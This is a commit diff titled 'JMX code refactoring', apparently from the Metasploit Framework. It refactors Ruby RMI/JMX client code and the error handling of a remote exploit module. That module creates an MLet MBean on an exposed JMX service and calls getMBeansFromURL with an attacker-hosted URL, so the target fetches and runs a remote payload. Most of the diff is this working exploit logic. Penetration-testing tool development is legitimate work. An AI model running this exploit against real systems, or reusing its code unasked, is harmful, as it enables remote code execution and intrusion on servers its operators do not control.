JMX code refactoring
This commit is contained in:
@@ -4,12 +4,10 @@ module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Connection
|
||||
require 'msf/java/rmi/client/jmx/connection/builder'
|
||||
require 'msf/java/rmi/client/jmx/connection/parser'
|
||||
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection::Builder
|
||||
include Msf::Java::Rmi::Client::Jmx::Connection::Parser
|
||||
|
||||
def send_jmx_get_object_instance(opts = {})
|
||||
send_call(
|
||||
@@ -21,40 +19,70 @@ module Msf
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
return_value
|
||||
#remote_object = parse_jmx_get_object_instance(return_value)
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
#remote_object
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
def send_jmx_create_mbean(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_create_mbean(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
return_value
|
||||
#remote_object = parse_jmx_get_object_instance(return_value)
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
#remote_object
|
||||
end
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
return nil
|
||||
end
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
true
|
||||
end
|
||||
|
||||
return_value
|
||||
def send_jmx_invoke(opts = {})
|
||||
send_call(
|
||||
sock: opts[:sock] || sock,
|
||||
call: build_jmx_invoke(opts)
|
||||
)
|
||||
|
||||
return_value = recv_return(
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
unless return_value.get_class_name == 'java.util.HashSet'
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Jmx
|
||||
module Connection
|
||||
module Parser
|
||||
def parse_jmx_get_object_instance(return_value)
|
||||
if return_value.nil? || return_value.is_exception?
|
||||
puts "is exception :?"
|
||||
puts "#{return_value.value[0].class}"
|
||||
puts "#{return_value.value[0].class_desc.description.class_name.contents}"
|
||||
return nil
|
||||
end
|
||||
|
||||
puts "#{return_value.value[0].class}"
|
||||
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
|
||||
return nil
|
||||
end
|
||||
|
||||
case return_value.value[0].class_desc.description
|
||||
when Rex::Java::Serialization::Model::NewClassDesc
|
||||
return return_value.value[0].class_desc.description.class_name.contents
|
||||
when Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
return return_value.value[0].class_desc.description.interfaces[0].contents
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -27,19 +27,17 @@ module Msf
|
||||
sock: opts[:sock] || sock
|
||||
)
|
||||
|
||||
remote_object = parse_jmx_new_client(return_value)
|
||||
|
||||
if remote_object.nil?
|
||||
if return_value.nil?
|
||||
return nil
|
||||
end
|
||||
|
||||
remote_location = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
if remote_location.nil?
|
||||
return nil
|
||||
if return_value.is_exception?
|
||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||
end
|
||||
|
||||
{object: remote_object}.merge(remote_location)
|
||||
ref = parse_jmx_new_client(return_value)
|
||||
|
||||
ref
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -14,22 +14,24 @@ module Msf
|
||||
# @param return_value [Rex::Proto::Rmi::Model::ReturnValue]
|
||||
# @return [String, NilClass] The remote object name if success, nil otherwise
|
||||
def parse_jmx_new_client(return_value)
|
||||
if return_value.nil? || return_value.is_exception?
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject)
|
||||
return nil
|
||||
end
|
||||
return_object = ''
|
||||
|
||||
case return_value.value[0].class_desc.description
|
||||
when Rex::Java::Serialization::Model::NewClassDesc
|
||||
return return_value.value[0].class_desc.description.class_name.contents
|
||||
return_object = return_value.value[0].class_desc.description.class_name.contents
|
||||
when Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
return return_value.value[0].class_desc.description.interfaces[0].contents
|
||||
return_object = return_value.value[0].class_desc.description.interfaces[0].contents
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
return nil
|
||||
end
|
||||
|
||||
ref = parse_jmx_new_client_endpoint(return_value)
|
||||
|
||||
ref
|
||||
end
|
||||
|
||||
# Parses a java.rmi.registry.Registry.lookup() return value to find out
|
||||
@@ -38,10 +40,6 @@ module Msf
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_jmx_new_client_endpoint(return_value)
|
||||
if return_value.nil? || return_value.is_exception?
|
||||
return nil
|
||||
end
|
||||
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
|
||||
@@ -3,5 +3,6 @@
|
||||
# JAVA RMI Wire protocol implementation
|
||||
# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html
|
||||
|
||||
require 'rex/proto/rmi/exception'
|
||||
require 'rex/proto/rmi/model'
|
||||
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Rmi
|
||||
class Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -8,7 +8,6 @@ require 'msf/core'
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Java::Jmx
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Java::Rmi::Client
|
||||
|
||||
@@ -185,68 +184,51 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status("#{ref.inspect}")
|
||||
|
||||
ref
|
||||
end
|
||||
|
||||
def handshake(mbean)
|
||||
|
||||
ref = send_new_client(
|
||||
object_number: mbean[:object_number],
|
||||
uid_number: mbean[:uid].number,
|
||||
uid_time: mbean[:uid].time,
|
||||
uid_count: mbean[:uid].count
|
||||
)
|
||||
|
||||
print_status("#{ref.inspect}")
|
||||
|
||||
ref
|
||||
=begin
|
||||
case answer
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - JMX end point requires authentication, but it failed")
|
||||
return nil
|
||||
when 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||
vprint_good("#{peer} - Handshake completed, proceeding...")
|
||||
conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents))
|
||||
else
|
||||
vprint_error("#{peer} - Handshake returned unexpected object #{answer}")
|
||||
begin
|
||||
ref = send_new_client(
|
||||
object_number: mbean[:object_number],
|
||||
uid_number: mbean[:uid].number,
|
||||
uid_time: mbean[:uid].time,
|
||||
uid_count: mbean[:uid].count
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}")
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status("#{conn_stub.inspect}")
|
||||
|
||||
conn_stub
|
||||
=end
|
||||
ref
|
||||
end
|
||||
|
||||
def load_payload(conn_stub)
|
||||
|
||||
vprint_status("#{peer} - Getting JMXPayload instance...")
|
||||
return_value = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: "#{@mlet}:name=jmxpayload,id=1"
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
return false
|
||||
elsif return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceNotFoundException'
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
elsif return_value.is_exception?
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
|
||||
return false
|
||||
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - JMXPayload instance found, using it")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
|
||||
return false
|
||||
begin
|
||||
res = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: "#{@mlet}:name=jmxpayload,id=1"
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
case e.message
|
||||
when 'javax.management.InstanceNotFoundException'
|
||||
vprint_warning("#{peer} - JMXPayload instance not found, trying to load")
|
||||
return load_payload_from_url(conn_stub)
|
||||
else
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
return false if res.nil?
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def load_payload_from_url(conn_stub)
|
||||
@@ -255,85 +237,78 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...")
|
||||
|
||||
return_value = send_jmx_create_mbean(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'javax.management.loading.MLet'
|
||||
)
|
||||
begin
|
||||
res = send_jmx_create_mbean(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'javax.management.loading.MLet'
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
case e.message
|
||||
when 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
res = true
|
||||
when 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
res = nil
|
||||
else
|
||||
vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}")
|
||||
res = nil
|
||||
end
|
||||
end
|
||||
|
||||
if return_value.nil?
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The request to createMBean failed")
|
||||
return false
|
||||
end
|
||||
|
||||
if return_value.is_exception? && return_value.get_class_name == 'javax.management.InstanceAlreadyExistsException'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet already exists")
|
||||
elsif return_value.is_exception? && return_value.get_class_name == 'java.lang.SecurityException'
|
||||
vprint_error("#{peer} - The provided user hasn't enough privileges")
|
||||
return false
|
||||
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - javax.management.loading.MLet created")
|
||||
else
|
||||
vprint_error("#{peer} - createMBean returned unexpected value #{return_value.get_class_name}")
|
||||
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
begin
|
||||
res = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'DefaultDomain:type=MLet'
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}")
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Getting javax.management.loading.MLet instance...")
|
||||
return_value = send_jmx_get_object_instance(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
name: 'DefaultDomain:type=MLet'
|
||||
)
|
||||
|
||||
if return_value.nil?
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The request to GetObjectInstance failed")
|
||||
return false
|
||||
elsif return_value.is_exception?
|
||||
vprint_error("#{peer} - getObjectInstance returned unexpected exception #{return_value.get_class_name}")
|
||||
return false
|
||||
elsif return_value.get_class_name == 'javax.management.ObjectInstance'
|
||||
vprint_good("#{peer} - MLet instance found, using it")
|
||||
else
|
||||
vprint_warning("#{peer} - getObjectInstance returned unexpected object #{return_value.get_class_name}")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
|
||||
|
||||
return_value = send_jmx_invoke(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
begin
|
||||
res = send_jmx_invoke(
|
||||
object_number: conn_stub[:object_number],
|
||||
uid_number: conn_stub[:uid].number,
|
||||
uid_time: conn_stub[:uid].time,
|
||||
uid_count: conn_stub[:uid].count,
|
||||
object: 'DefaultDomain:type=MLet',
|
||||
method: 'getMBeansFromURL',
|
||||
args: { 'java.lang.String' => "#{get_uri}/mlet" }
|
||||
)
|
||||
rescue ::Rex::Proto::Rmi::Exception => e
|
||||
vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}")
|
||||
return false
|
||||
ensure
|
||||
vprint_status("Stopping service...")
|
||||
stop_service
|
||||
end
|
||||
|
||||
if return_value.nil?
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - The call to getMBeansFromURL failed")
|
||||
return false
|
||||
end
|
||||
|
||||
answer = extract_object(return_value.value[0])
|
||||
|
||||
if answer.nil?
|
||||
vprint_error("#{peer} - Unexpected getMBeansFromURL answer")
|
||||
return false
|
||||
end
|
||||
|
||||
case answer
|
||||
when 'java.util.HashSet'
|
||||
vprint_good("#{peer} - The remote payload has been loaded!")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}")
|
||||
return false
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user